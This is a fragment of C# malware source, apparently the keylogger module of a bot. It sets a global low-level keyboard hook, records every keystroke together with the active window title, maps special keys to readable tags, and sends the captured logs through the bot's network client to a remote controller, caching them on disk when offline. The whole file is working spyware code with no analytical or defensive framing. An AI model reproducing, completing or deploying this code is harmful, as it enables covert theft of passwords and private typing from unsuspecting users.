public static string GetActiveWindowText()
{
string strWindow = string.Empty;
try
{
IntPtr pHandle = CUser32.GetForegroundWindow();
if (pHandle == null)
{
return(strWindow);
}
StringBuilder sbActiveWindow = new StringBuilder(256);
if (CUser32.GetWindowText(pHandle, sbActiveWindow, 256) > 0)
{
strWindow = sbActiveWindow.ToString();
}
}
catch { }
return(strWindow);
}
public static bool ApplyHook()
{
using (Process pCurrentProcess = Process.GetCurrentProcess())
{
using (ProcessModule pmModule = pCurrentProcess.MainModule)
{
IntPtr pModule = CKernel32.GetModuleHandle(pmModule.ModuleName);
if (pModule == IntPtr.Zero)
{
return(false);
}
m_pHookID = CUser32.SetWindowsHookEx(
13,
m_HookCallback,
pModule,
0
);
return(m_pHookID != IntPtr.Zero);
}
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
try
{
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
string strCurrentActiveWindow = CUtils.GetActiveWindowText();
if (m_KeyloggerLog == null)
{
m_KeyloggerLog = new CKeylogData();
m_KeyloggerLog.WindowName = strCurrentActiveWindow;
}
else
{
if (strCurrentActiveWindow != m_KeyloggerLog.WindowName)
{
//new Thread(delegate()
// {
CKeylogData SendData = m_KeyloggerLog;
if (CBot.m_GopnikClient.IsConnected())
{
CBot.m_GopnikClient.SendKeyloggerData(SendData.ToString());
if (LogExists())
{
foreach (string strLog in GetLogData())
{
CBot.m_GopnikClient.SendKeyloggerData(strLog);
}
}
}
else
{
WriteLog(SendData.ToString());
}
// }).Start();
m_KeyloggerLog = new CKeylogData();
m_KeyloggerLog.WindowName = strCurrentActiveWindow;
}
}
KeyboardHookStruct MyKeyboardHookStruct =
(KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
string strData = string.Empty;
Keys currentKey = (Keys)MyKeyboardHookStruct.vkCode;//char cKey = (Keys)vkCode;
switch (currentKey)
{
case Keys.Tab:
strData += "[TAB]";
break;
case Keys.Alt:
strData += "[ALT]";
break;
case Keys.F1:
case Keys.F2:
case Keys.F3:
case Keys.F4:
case Keys.F5:
case Keys.F6:
case Keys.F7:
case Keys.F8:
case Keys.F9:
case Keys.F10:
case Keys.F11:
case Keys.F12:
case Keys.F13:
case Keys.F14:
case Keys.F15:
case Keys.F16:
case Keys.F17:
case Keys.F18:
case Keys.F19:
case Keys.F20:
case Keys.F21:
case Keys.F22:
case Keys.F23:
case Keys.F24:
int iKey = (int)currentKey;
strData = string.Format("[F{0}]", iKey - 111);
break;
case Keys.CapsLock:
strData = "[CAPSLOCK]";
break;
case Keys.Shift:
strData = "[SHIFT]";
break;
case Keys.LShiftKey:
strData = "[LSHIFT]";
break;
case Keys.RShiftKey:
strData = "[RSHIFT]";
break;
case Keys.Enter:
strData = "[ENTER]";
break;
case Keys.End:
strData = "[END]";
break;
case Keys.Insert:
strData = "[INSERT]";
break;
case Keys.PageDown:
strData = "[PAGE-DOWN]";
break;
case Keys.PageUp:
strData = "[PAGE-UP]";
break;
case Keys.Back:
strData = "[BACKSPACE]";
break;
case Keys.Delete:
strData = "[DELETE]";
break;
case Keys.Home:
strData = "[HOME]";
break;
case Keys.LControlKey:
strData = "[L-CTRL]";
break;
case Keys.RControlKey:
strData = "[R-CTRL]";
break;
case Keys.PrintScreen:
strData = "[PRINT-SCREEN]";
break;
default:
{
byte[] arr_bKeyboardState = new byte[256];
CUser32.GetKeyboardState(arr_bKeyboardState);
//byte[] arr_bInBuffer = new byte[2];
StringBuilder sbData = new StringBuilder(256);
if (CUser32.ToUnicode(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, arr_bKeyboardState, sbData, sbData.Capacity, MyKeyboardHookStruct.flags) == 1)
{
strData = sbData.ToString();
bool isDownShift = ((CUser32.GetKeyState(0x10) & 0x80) == 0x80 ? true : false);
bool isDownCapslock = (CUser32.GetKeyState(0x14) != 0 ? true : false);
if (!(isDownCapslock ^ isDownShift) && Char.IsLetter((char)currentKey))
{
strData = strData.ToLower();
}
}
}
break;
}
m_KeyloggerLog.Data += strData;
Console.WriteLine("{0}:{1}", m_KeyloggerLog.WindowName, m_KeyloggerLog.Data);
}
}
catch { }
return(CUser32.CallNextHookEx(m_pHookID, nCode, wParam, lParam));
}
